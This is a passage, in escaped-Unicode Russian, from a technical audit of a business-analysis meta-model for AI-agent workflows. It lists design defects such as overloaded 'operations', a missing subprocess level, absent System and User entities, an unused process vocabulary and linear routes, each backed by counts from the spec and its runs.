\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430** \u0432 \u043c\u0430\u0448\u0438\u043d\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0439\\n`raw \u2192 draft \u2192 in-review \u2192 validated \u2192 approved \u2192 baselined/released`.\\n\\n\u041e\u0434\u043d\u043e \u0438 \u0442\u043e \u0436\u0435 \u0441\u043b\u043e\u0432\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0434\u0432\u0443\u0445 \u0440\u043e\u043b\u044f\u0445: \u043a\u0430\u043a \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u043e\u043b\u044f `status` \u0438 \u043a\u0430\u043a\\n\u0438\u043c\u044f \u0442\u043e\u0447\u043a\u0438 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430. \u041f\u0440\u043e\u0446\u0435\u0441\u0441, \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u044e\u0449\u0438\u0439\u0441\u044f \u00ab\u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u043e\u043c\u00bb, \u043d\u0435 \u0438\u043c\u0435\u0435\u0442\\n\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0433\u043e \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044f \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u2014 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 `draft` \u0434\u043e\u0441\u0442\u0438\u0433\u0430\u0435\u0442\u0441\u044f \u043b\u044e\u0431\u044b\u043c\\n\u043d\u0435\u043f\u0443\u0441\u0442\u044b\u043c \u0442\u0435\u043a\u0441\u0442\u043e\u043c.\\n\\n**\u0421\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435 \u0434\u043b\u044f \u0430\u0433\u0435\u043d\u0442\u0430.** \u0413\u0435\u0439\u0442 \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043d\u0435 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f:\\n\u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442 \u00ab\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u043e\u043c\u00bb \u0438\u0441\u0442\u0438\u043d\u0435\u043d \u0432\u0441\u0435\u0433\u0434\u0430.\\n\\n## D3. \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442 \u0434\u043e \u0448\u0435\u0441\u0442\u0438 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\\n\\n\u0420\u0430\u0437\u0431\u043e\u0440 \u0442\u0430\u0431\u043b\u0438\u0446\u044b 30 \u0442\u0438\u043f\u043e\u0432 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u0441\u043f\u0438\u0446\u044b \u043f\u043e \u043f\u043e\u043b\u044e \u00ab\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u00bb \u0434\u0430\u0451\u0442 \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435:\\n\\n| \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f | \u041a\u043b\u0430\u0441\u0441\u043e\u0432 \u0432\u044b\u0445\u043e\u0434\u0430 |\\n| --- | --- |\\n| `documentation` | 6 (`business-alignment-pack`, `constraints-section`, `feature-spec-kk`, `fr-section`, `meeting-summary`, `tz-contract`) |\\n| `modeling` | 4 |\\n| `understanding` | 3 |\\n| `validation` | 3 |\\n| `quality`, `governance`, `impact_analysis` | 2 |\\n| \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 6 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 | 1 |\\n\\n**7 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0438\u0437 13 (0.538)** \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u044f\u0442 \u0431\u043e\u043b\u0435\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u043a\u043b\u0430\u0441\u0441\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430.\\n\u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0441 \u0448\u0435\u0441\u0442\u044c\u044e \u043a\u043b\u0430\u0441\u0441\u0430\u043c\u0438 \u0432\u044b\u0445\u043e\u0434\u0430 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u0432\u044b\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430: `documentation`\\n\u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u00ab\u043e\u0444\u043e\u0440\u043c\u0438\u0442\u044c \u0440\u0435\u0437\u044e\u043c\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0438\u00bb \u0438 \u00ab\u0441\u043e\u0431\u0440\u0430\u0442\u044c \u0422\u0417 \u043f\u043e \u0413\u041e\u0421\u0422\u00bb.\\n\\n## D4. \u041e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u044f\u0435\u0442 \u0440\u0430\u0437\u043d\u043e\u0440\u043e\u0434\u043d\u044b\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b\\n\\n**8 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0439 \u0438\u0437 13** \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u0438\u0435 (\u043c\u0430\u0440\u043a\u0435\u0440\u044b `:`, `;`, `,`, `\u0438`,\\n`\u0438\u043b\u0438` \u0432 \u043f\u043e\u0437\u0438\u0446\u0438\u0438 \u0441\u043f\u0438\u0441\u043a\u0430 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432):\\n\\n| \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f | \u041e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 | \u041c\u0430\u0440\u043a\u0435\u0440\u043e\u0432 |\\n| --- | --- | --- |\\n| `ingestion` | \u00ab\u041f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0441\u044b\u0440\u043e\u0439 \u0432\u0445\u043e\u0434 (ASR-\u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0430, \u043f\u0438\u0441\u044c\u043c\u043e, \u0437\u0430\u043c\u0435\u0442\u043a\u0438, \u0442\u0435\u043d\u0434\u0435\u0440\u043d\u043e\u0435 \u0422\u0417) \u0432 \u0444\u043e\u0440\u043c\u0443, \u043f\u0440\u0438\u0433\u043e\u0434\u043d\u0443\u044e \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430.\u00bb | 4 |\\n| `documentation` | \u00ab\u041e\u0444\u043e\u0440\u043c\u043b\u044f\u0435\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0432 \u0446\u0435\u043b\u0435\u0432\u044b\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b: \u0424\u0422, \u0422\u0417, \u0440\u0435\u0437\u044e\u043c\u0435 \u0432\u0441\u0442\u0440\u0435\u0447, \u043f\u0438\u0441\u044c\u043c\u0430.\u00bb | 4 |\\n| `understanding` | \u00ab\u0418\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u0442 \u0442\u0435\u0440\u043c\u0438\u043d\u044b, \u0446\u0435\u043b\u0438, \u043d\u0435\u044f\u0432\u043d\u044b\u0435 \u0434\u043e\u043f\u0443\u0449\u0435\u043d\u0438\u044f; \u0444\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442 \u0443\u0442\u043e\u0447\u043d\u044f\u044e\u0449\u0438\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b.\u00bb | 3 |\\n| `modeling` | \u00ab\u0421\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0438\u0440\u0443\u0435\u0442 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0432 \u0444\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0435 \u043c\u043e\u0434\u0435\u043b\u0438: Use Case, User Story, \u0434\u0438\u0430\u0433\u0440\u0430\u043c\u043c\u044b UML/BPMN.\u00bb | 3 |\\n\\n`D3` \u0438 `D4` \u2014 \u043e\u0434\u0438\u043d \u0434\u0435\u0444\u0435\u043a\u0442, \u0437\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0441 \u0434\u0432\u0443\u0445 \u0441\u0442\u043e\u0440\u043e\u043d: \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u0438\u0435 \u0432 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0438\\n\u0438 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u0445\u043e\u0434\u0430 \u0432 \u0440\u0435\u0435\u0441\u0442\u0440\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u044b. \u042d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e\\n\u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u00ab\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438\u00bb \u2014 **\u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438 \u0440\u0430\u0431\u043e\u0442 \u0443\u0440\u043e\u0432\u043d\u044f \u043e\u0431\u043b\u0430\u0441\u0442\u0435\u0439 \u0437\u043d\u0430\u043d\u0438\u0439 BABOK**, \u0430 \u043d\u0435\\n\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0441 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u0432\u044b\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c. \u0422\u0435\u0440\u043c\u0438\u043d \u0431\u044b\u043b \u043f\u0440\u0438\u043c\u0435\u043d\u0451\u043d \u043a \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438\\n\u0434\u0440\u0443\u0433\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f.\\n\\n## D5. \u0423\u0440\u043e\u0432\u0435\u043d\u044c \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0432 \u0441\u043f\u043e\u043a\u0435 \u0438 \u043f\u043e\u0442\u0435\u0440\u044f\u043d \u0432 \u0425\u0430\u0431\u0435\\n\\n| \u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a | \u0424\u0430\u043a\u0442 |\\n| --- | --- |\\n| `standards/ba-ontology.md`, \u00a71 | \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c `\u041f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0430; \u0440\u0435\u0431\u0440\u043e `R1`: `\u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u041f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441`, 1\u2192N |\\n| `docs/adr/009-bcreq-formation-process.md` | \u0448\u0435\u0441\u0442\u044c \u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 `\u041f1`\u2026`\u041f6` \u0441 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c\u0438 \u0433\u0435\u0439\u0442\u0430\u043c\u0438 `G1`, `G2`, `G3` |\\n| `projects/ba-ai-process/ba-meta-model/*.md` | **0** \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u0439 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 |\\n\\n\u0425\u0430\u0431 \u0432\u043c\u0435\u0441\u0442\u043e \u0443\u0440\u043e\u0432\u043d\u044f \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043e\u0431\u044a\u044f\u0432\u0438\u043b `Skill` \u00ab\u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0439\\n\u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0435\u0439 `Operation`\u00bb\\n([`10-theory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md), \u00a72),\\n\u0442\u043e \u0435\u0441\u0442\u044c \u0441\u0432\u0451\u043b \u0442\u0440\u0451\u0445\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u0443\u044e \u0438\u0435\u0440\u0430\u0440\u0445\u0438\u044e \u043a \u0434\u0432\u0443\u043c \u0443\u0440\u043e\u0432\u043d\u044f\u043c \u0438 \u043f\u043e\u0442\u0435\u0440\u044f\u043b \u0443\u0437\u0435\u043b, \u043a \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u0432\\n\u0441\u043f\u043e\u043a\u0435 \u043f\u0440\u0438\u0432\u044f\u0437\u0430\u043d\u044b \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0435 \u0433\u0435\u0439\u0442\u044b.\\n\\n**\u0421\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435 \u0434\u043b\u044f \u0430\u0433\u0435\u043d\u0442\u0430.** \u041c\u0435\u0436\u0434\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u043c (\u00ab\u0424\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 BCREQ\u00bb) \u0438 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0439\\n\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0435\u0439 (\u00ab\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0430 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0441\u0442\u044c\u00bb) \u043d\u0435\u0442 \u0443\u0437\u043b\u0430, \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0437\u043d\u0430\u0447\u0438\u0442\u044c\\n\u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f, \u0432\u0445\u043e\u0434, \u0432\u044b\u0445\u043e\u0434 \u0438 \u0433\u0435\u0439\u0442. \u041e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0446\u0438\u044f \u043d\u0435 \u0432\u044b\u0440\u0430\u0436\u0430\u0435\u0442\u0441\u044f.\\n\\n## D6. \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0438 \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044f\u043c\u0438 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438\\n\\n\u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442 **\u0434\u0435\u0432\u044f\u0442\u044c** \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439 (`Product`, `Artifact`,\\n`Operation`, `Process`, `Route`, `Actor`, `Gate`, `Contract`, `Trace`); `Skill`\\n\u0437\u0430\u043f\u0438\u0441\u0430\u043d \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0435 \u0434\u0435\u0441\u044f\u0442\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u043e\u0439, \u043d\u043e \u044f\u0432\u043d\u043e \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0435\u0439 `Operation`, \u0430\\n\u043d\u0435 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c\u044e\\n([`10-theory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md), \u00a72).\\n\u041e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442:\\n\\n- **\u0421\u0438\u0441\u0442\u0435\u043c\u0430** \u2014 \u0446\u0435\u043b\u0435\u0432\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430, \u043a \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u0435\u0434\u044a\u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f;\\n- **\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c** \u2014 \u043f\u043e\u0442\u0440\u0435\u0431\u0438\u0442\u0435\u043b\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043e\u0442\u043b\u0438\u0447\u043d\u044b\u0439 \u043e\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b;\\n- **\u041f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441** \u2014 \u0441\u043c. `D5`.\\n\\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c **5 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0441\u043f\u0438\u0446\u044b** \u044f\u0432\u043d\u043e \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u0430\u043a\u0442\u043e\u0440\u0430 (\u00ab\u0410\u043a\u0442\u043e\u0440\u00bb, \u00ab\u0420\u043e\u043b\u044c\u00bb,\\n\u00ab\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u00bb) \u0432 \u043f\u043e\u0440\u043e\u0436\u0434\u0430\u0435\u043c\u043e\u043c \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0435 \u2014 \u043f\u0440\u0435\u0436\u0434\u0435 \u0432\u0441\u0435\u0433\u043e \u043f\u0440\u0438 \u043f\u043e\u0441\u0442\u0440\u043e\u0435\u043d\u0438\u0438 Use Case\\n\u0438 \u0434\u0438\u0430\u0433\u0440\u0430\u043c\u043c. \u041c\u043e\u0434\u0435\u043b\u044c, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043d\u0435\u0442 \u043d\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043d\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0432\u044b\u043d\u0443\u0436\u0434\u0430\u0435\u0442 \u0430\u0433\u0435\u043d\u0442\u0430\\n**\u0438\u0437\u043e\u0431\u0440\u0435\u0442\u0430\u0442\u044c** \u0430\u043a\u0442\u043e\u0440\u043e\u0432 \u043f\u0440\u0438 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 UML: \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0434\u043b\u044f \u043d\u0438\u0445 \u0432 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435\u0442.\\n\\n**\u0422\u0435\u0440\u043c\u0438\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0443\u0442\u043e\u0447\u043d\u0435\u043d\u0438\u0435.** `Actor` \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f\\n\u0440\u0430\u0431\u043e\u0442\u044b (\u0447\u0435\u043b\u043e\u0432\u0435\u043a \u0438\u043b\u0438 \u0430\u0433\u0435\u043d\u0442). \u0410\u043a\u0442\u043e\u0440 \u0434\u0438\u0430\u0433\u0440\u0430\u043c\u043c\u044b \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u0440\u043e\u043b\u044c \u0432\u043e \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0438 \u0441\\n\u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439. \u041e\u0434\u043d\u043e \u0438\u043c\u044f \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0434\u0432\u0430 \u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u043e\u043d\u044f\u0442\u0438\u044f \u2014 \u044d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u0438\u0437\u043e\u0431\u0440\u0435\u0442\u0435\u043d\u0438\u044f\\n\u0430\u043a\u0442\u043e\u0440\u043e\u0432.\\n\\n## D7. \u0421\u043b\u043e\u0432\u0430\u0440\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u043d\u0435 \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u043e\u0439\\n\\n\u0418\u0437 **67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432** \u0441\u043f\u0438\u0446\u044b \u043f\u043e\u043b\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0440\u0430\u0437\u0440\u0435\u0448\u0430\u0435\u0442\u0441\u044f \u0432 \u0438\u043c\u044f \u0438\u0437 \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u0434\u0435\u0432\u044f\u0442\u0438\\n\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 **\u0443 \u043e\u0434\u043d\u043e\u0433\u043e**; \u0443 **66** \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f. \u041f\u0440\u0438\u043c\u0435\u0440\u044b\\n\u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439:\\n\\n```\\nArchitecture Spike: HH.ru Chats \u2194 Mango CC data mapping\\nCombined L4 gap report: BA verdicts + SA models + footnoted hh.ru API sources\\nbcreq-1025-email-routing\\nbcreq-1059-multichannel-slots-limits\\n```\\n\\n\u0417\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0440\u0430\u0441\u043f\u0430\u0434\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u0434\u0432\u0430 \u043a\u043b\u0430\u0441\u0441\u0430: **\u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u0440\u0430\u0431\u043e\u0442\u044b** (\u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442) \u0438\\n**\u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u0430** (`bcreq-<\u043d\u043e\u043c\u0435\u0440>-<\u0442\u0435\u043c\u0430>`). \u041d\u0438 \u043e\u0434\u0438\u043d \u0438\u0437 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u043d\u0435\\n\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0438\u043c\u0435\u043d\u0435\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430. \u0421\u043b\u043e\u0432\u0430\u0440\u044c \u0434\u0435\u0432\u044f\u0442\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 **\u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f** \u2014\\n\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u043e\u043d \u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u043e\u0439 \u0438 \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0441\u0447\u0438\u0442\u0430\u0442\u044c\u0441\u044f \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435\u043c\\n\u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u041a\u041a.\\n\\n**\u0413\u0440\u0430\u043d\u0438\u0446\u0430 \u0432\u044b\u0432\u043e\u0434\u0430.** \u0417\u0430\u043c\u0435\u0440 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0438, \u0430 \u043d\u0435\\n\u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043a\u0430\u043a \u0442\u0430\u043a\u043e\u0432\u043e\u0433\u043e: \u0440\u0430\u0431\u043e\u0442\u0430 \u0432\u0435\u043b\u0430\u0441\u044c, \u043d\u043e \u0435\u0451 \u0442\u0438\u043f \u043d\u0435 \u0434\u0435\u043a\u043b\u0430\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0441\u044f.\\n\\n## D8. \u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u043e\u043f\u0438\u0441\u0430\u043d \u043a\u0430\u043a \u043b\u0438\u043d\u0435\u0439\u043d\u0430\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c\\n\\n\u0412 \u0448\u0435\u0441\u0442\u0438 \u0444\u0430\u0439\u043b\u0430\u0445 \u043c\u043e\u0434\u0443\u043b\u044f `ba-meta-model/`:\\n\\n- \u043c\u0430\u0440\u043a\u0435\u0440\u043e\u0432 \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f (`\u0432\u0435\u0442\u0432\u043b\u0435\u043d`, `\u0443\u0441\u043b\u043e\u0432\u043d`, `\u0433\u0440\u0430\u0444`, `\u0440\u0430\u0437\u0432\u0438\u043b\u043a`, `if `) \u2014 **1**, \u0438\\n  \u044d\u0442\u043e **\u043e\u0442\u0440\u0438\u0446\u0430\u043d\u0438\u0435**: `30-decision-framework.md:98`\\n  `<\u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0431\u0435\u0437 \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u0439 \u043f\u043e \u0440\u0435\u0436\u0438\u043c\u0443 \u0437\u0430\u043f\u0443\u0441\u043a\u0430>`;\\n- \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0439 \u043d\u0435\u0438\u0437\u043c\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u2014 **2**, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435\\n  `10-theory.md`, \u00a76: \u00ab\u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u043d\u0435\u0438\u0437\u043c\u0435\u043d\u0435\u043d **\u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u0430** \u0438 